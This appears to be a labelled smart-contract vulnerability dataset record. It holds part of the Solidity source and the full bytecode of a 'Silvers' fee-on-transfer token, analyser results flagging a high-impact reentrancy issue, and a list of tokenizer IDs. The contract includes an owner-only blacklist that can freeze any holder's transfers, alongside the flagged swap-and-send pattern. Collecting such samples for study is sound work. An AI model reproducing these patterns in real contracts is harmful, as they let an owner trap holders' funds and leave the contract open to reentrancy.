owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = 1; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612aeb565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061267d565b61042a565b60405161016d9190612ad0565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c4d565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061262e565b61045c565b6040516101d59190612ad0565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906125a0565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612cc2565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126fa565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906125a0565b610752565b6040516102a69190612c4d565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612a02565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b6040516103139190612aeb565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061267d565b61095c565b6040516103509190612ad0565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126b9565b61097a565b005b34801561038e57600080fd5b50610397610aca565b005b3480156103a557600080fd5b506103ae610b44565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125f2565b6110a7565b6040516103e49190612c4d565b60405180910390f35b60606040518060400160405280600781526020017f53696c7665727300000000000000000000000000000000000000000000000000815250905090565b600061043e61043761112e565b8484611136565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b6000610469848484611301565b61052a8461047561112e565b6105258560405180606001604052806028815260200161333460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db61112e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119069092919063ffffffff16565b611136565b600190509392505050565b61053d61112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612bad565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61063661112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612bad565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661072161112e565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161196a565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a65565b9050919050565b6107ab61112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f53494c5645525300000000000000000000000000000000000000000000000000815250905090565b600061097061096961112e565b8484611301565b6001905092915050565b61098261112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612bad565b60405180910390fd5b60005b8151811015610ac657600160066000848481518110610a5a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abe90612f63565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0b61112e565b73ffffffffffffffffffffffffffffffffffffffff1614610b2b57600080fd5b6000610b3630610752565b9050610b4181611ad3565b50565b610b4c61112e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd090612bad565b60405180910390fd5b600f60149054906101000a900460ff1615610c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2090612c2d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cbc30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611136565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0257600080fd5b505afa158015610d16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3a91906125c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9c57600080fd5b505afa158015610db0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd491906125c9565b6040518363ffffffff1660e01b8152600401610df1929190612a1d565b602060405180830381600087803b158015610e0b57600080fd5b505af1158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4391906125c9565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ecc30610752565b600080610ed76108f6565b426040518863ffffffff1660e01b8152600401610ef996959493929190612a6f565b6060604051808303818588803b158015610f1257600080fd5b505af1158015610f26573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4b919061274c565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b033b2e3c9fd0803ce80000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611051929190612a46565b602060405180830381600087803b15801561106b57600080fd5b505af115801561107f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a39190612723565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119d90612c0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611216576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120d90612b4d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f49190612c4d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136890612bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d890612b0d565b60405180910390fd5b60008111611424576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141b90612bcd565b60405180910390fd5b6001600a819055506001600b8190555061143c6108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114aa575061147a6108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118f657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115535750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116075750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561165d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116755750600f60179054906101000a900460ff165b156117255760105481111561168957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116d457600080fd5b601e426116e19190612d83565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118265750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561183c576001600a819055506001600b819055505b600061184730610752565b9050600f60159054906101000a900460ff161580156118b45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118cc5750600f60169054906101000a900460ff165b156118f4576118da81611ad3565b600047905060008111156118f2576118f14761196a565b5b505b505b611901838383611dcd565b505050565b600083831115829061194e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119459190612aeb565b60405180910390fd5b506000838561195d9190612e64565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119ba600284611ddd90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119e5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a36600284611ddd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a61573d6000803e3d6000fd5b5050565b6000600854821115611aac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa390612b2d565b60405180910390fd5b6000611ab6611e27565b9050611acb8184611ddd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b31577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b5f5781602001602082028036833780820191505090505b5090503081600081518110611b9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3f57600080fd5b505afa158015611c53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c7791906125c9565b81600181518110611cb1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d1830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611136565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d7c959493929190612c68565b600060405180830381600087803b158015611d9657600080fd5b505af1158015611daa573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dd8838383611e52565b505050565b6000611e1f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061201d565b905092915050565b6000806000611e34612080565b91509150611e4b8183611ddd90919063ffffffff16565b9250505090565b600080600080600080611e64876120eb565b955095509550955095509550611ec286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219d90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fa3816121fb565b611fad84836122b8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161200a9190612c4d565b60405180910390a3505050505050505050565b60008083118290612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b9190612aeb565b60405180910390fd5b50600083856120739190612dd9565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120bc6b033b2e3c9fd0803ce8000000600854611ddd90919063ffffffff16565b8210156120de576008546b033b2e3c9fd0803ce80000009350935050506120e7565b81819350935050505b9091565b60008060008060008060008060006121088a600a54600b546122f2565b9250925092506000612118611e27565b9050600080600061212b8e878787612388565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061219583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611906565b905092915050565b60008082846121ac9190612d83565b9050838110156121f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e890612b6d565b60405180910390fd5b8091505092915050565b6000612205611e27565b9050600061221c828461241190919063ffffffff16565b905061227081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219d90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122cd8260085461215390919063ffffffff16565b6008819055506122e88160095461219d90919063ffffffff16565b6009819055505050565b60008060008061231e6064612310888a61241190919063ffffffff16565b611ddd90919063ffffffff16565b90506000612348606461233a888b61241190919063ffffffff16565b611ddd90919063ffffffff16565b9050600061237182612363858c61215390919063ffffffff16565b61215390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806123a1858961241190919063ffffffff16565b905060006123b8868961241190919063ffffffff16565b905060006123cf878961241190919063ffffffff16565b905060006123f8826123ea858761215390919063ffffffff16565b61215390919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124245760009050612486565b600082846124329190612e0a565b90508284826124419190612dd9565b14612481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247890612b8d565b60405180910390fd5b809150505b92915050565b600061249f61249a84612d02565b612cdd565b905080838252602082019050828560208602820111156124be57600080fd5b60005b858110156124ee57816124d488826124f8565b8452602084019350602083019250506001810190506124c1565b5050509392505050565b600081359050612507816132ee565b92915050565b60008151905061251c816132ee565b92915050565b600082601f83011261253357600080fd5b813561254384826020860161248c565b91505092915050565b60008135905061255b81613305565b92915050565b60008151905061257081613305565b92915050565b6000813590506125858161331c565b92915050565b60008151905061259a8161331c565b92915050565b6000602082840312156125b257600080fd5b60006125c0848285016124f8565b91505092915050565b6000602082840312156125db57600080fd5b60006125e98482850161250d565b91505092915050565b6000806040838503121561260557600080fd5b6000612613858286016124f8565b9250506020612624858286016124f8565b9150509250929050565b60008060006060848603121561264357600080fd5b6000612651868287016124f8565b9350506020612662868287016124f8565b925050604061267386828701612576565b9150509250925092565b6000806040838503121561269057600080fd5b600061269e858286016124f8565b92505060206126af85828601612576565b9150509250929050565b6000602082840312156126cb57600080fd5b600082013567ffffffffffffffff8111156126e557600080fd5b6126f184828501612522565b91505092915050565b60006020828403121561270c57600080fd5b600061271a8482850161254c565b91505092915050565b60006020828403121561273557600080fd5b600061274384828501612561565b91505092915050565b60008060006060848603121561276157600080fd5b600061276f8682870161258b565b93505060206127808682870161258b565b92505060406127918682870161258b565b9150509250925092565b60006127a783836127b3565b60208301905092915050565b6127bc81612e98565b82525050565b6127cb81612e98565b82525050565b60006127dc82612d3e565b6127e68185612d61565b93506127f183612d2e565b8060005b83811015612822578151612809888261279b565b975061281483612d54565b9250506001810190506127f5565b5085935050505092915050565b61283881612eaa565b82525050565b61284781612eed565b82525050565b600061285882612d49565b6128628185612d72565b9350612872818560208601612eff565b61287b81613039565b840191505092915050565b6000612893602383612d72565b915061289e8261304a565b604082019050919050565b60006128b6602a83612d72565b91506128c182613099565b604082019050919050565b60006128d9602283612d72565b91506128e4826130e8565b604082019050919050565b60006128fc601b83612d72565b915061290782613137565b602082019050919050565b600061291f602183612d72565b915061292a82613160565b604082019050919050565b6000612942602083612d72565b915061294d826131af565b602082019050919050565b6000612965602983612d72565b9150612970826131d8565b604082019050919050565b6000612988602583612d72565b915061299382613227565b604082019050919050565b60006129ab602483612d72565b91506129b682613276565b604082019050919050565b60006129ce601783612d72565b91506129d9826132c5565b602082019050919050565b6129ed81612ed6565b82525050565b6129fc81612ee0565b82525050565b6000602082019050612a1760008301846127c2565b92915050565b6000604082019050612a3260008301856127c2565b612a3f60208301846127c2565b9392505050565b6000604082019050612a5b60008301856127c2565b612a6860208301846129e4565b9392505050565b600060c082019050612a8460008301896127c2565b612a9160208301886129e4565b612a9e604083018761283e565b612aab606083018661283e565b612ab860808301856127c2565b612ac560a08301846129e4565b979650505050505050565b6000602082019050612ae5600083018461282f565b92915050565b60006020820190508181036000830152612b05818461284d565b905092915050565b60006020820190508181036000830152612b2681612886565b9050919050565b60006020820190508181036000830152612b46816128a9565b9050919050565b60006020820190508181036000830152612b66816128cc565b9050919050565b60006020820190508181036000830152612b86816128ef565b9050919050565b60006020820190508181036000830152612ba681612912565b9050919050565b60006020820190508181036000830152612bc681612935565b9050919050565b60006020820190508181036000830152612be681612958565b9050919050565b60006020820190508181036000830152612c068161297b565b9050919050565b60006020820190508181036000830152612c268161299e565b9050919050565b60006020820190508181036000830152612c46816129c1565b9050919050565b6000602082019050612c6260008301846129e4565b92915050565b600060a082019050612c7d60008301886129e4565b612c8a602083018761283e565b8181036040830152612c9c81866127d1565b9050612cab60608301856127c2565b612cb860808301846129e4565b9695505050505050565b6000602082019050612cd760008301846129f3565b92915050565b6000612ce7612cf8565b9050612cf38282612f32565b919050565b6000604051905090565b600067ffffffffffffffff821115612d1d57612d1c61300a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d8e82612ed6565b9150612d9983612ed6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612dce57612dcd612fac565b5b828201905092915050565b6000612de482612ed6565b9150612def83612ed6565b925082612dff57612dfe612fdb565b5b828204905092915050565b6000612e1582612ed6565b9150612e2083612ed6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612e5957612e58612fac565b5b828202905092915050565b6000612e6f82612ed6565b9150612e7a83612ed6565b925082821015612e8d57612e8c612fac565b5b828203905092915050565b6000612ea382612eb6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612ef882612ed6565b9050919050565b60005b83811015612f1d578082015181840152602081019050612f02565b83811115612f2c576000848401525b50505050565b612f3b82613039565b810181811067ffffffffffffffff82111715612f5a57612f5961300a565b5b80604052505050565b6000612f6e82612ed6565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612fa157612fa0612fac565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132f781612e98565b811461330257600080fd5b50565b61330e81612eaa565b811461331957600080fd5b50565b61332581612ed6565b811461333057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075e02a2c413bfb32524b172d5676bf825459d3783d5abdbd70584b05b7c90bbc64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 2063, 22907, 2475, 2050, 17788, 5243, 2546, 2692, 2094, 2575, 2546, 2692, 2683, 2546, 2575, 2546, 2549, 2050, 29097, 2581, 5732, 23777, 2063, 24096, 2063, 2549, 3540, 2475, 1013, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 3165, 16033, 7520, 1013, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 102 ]
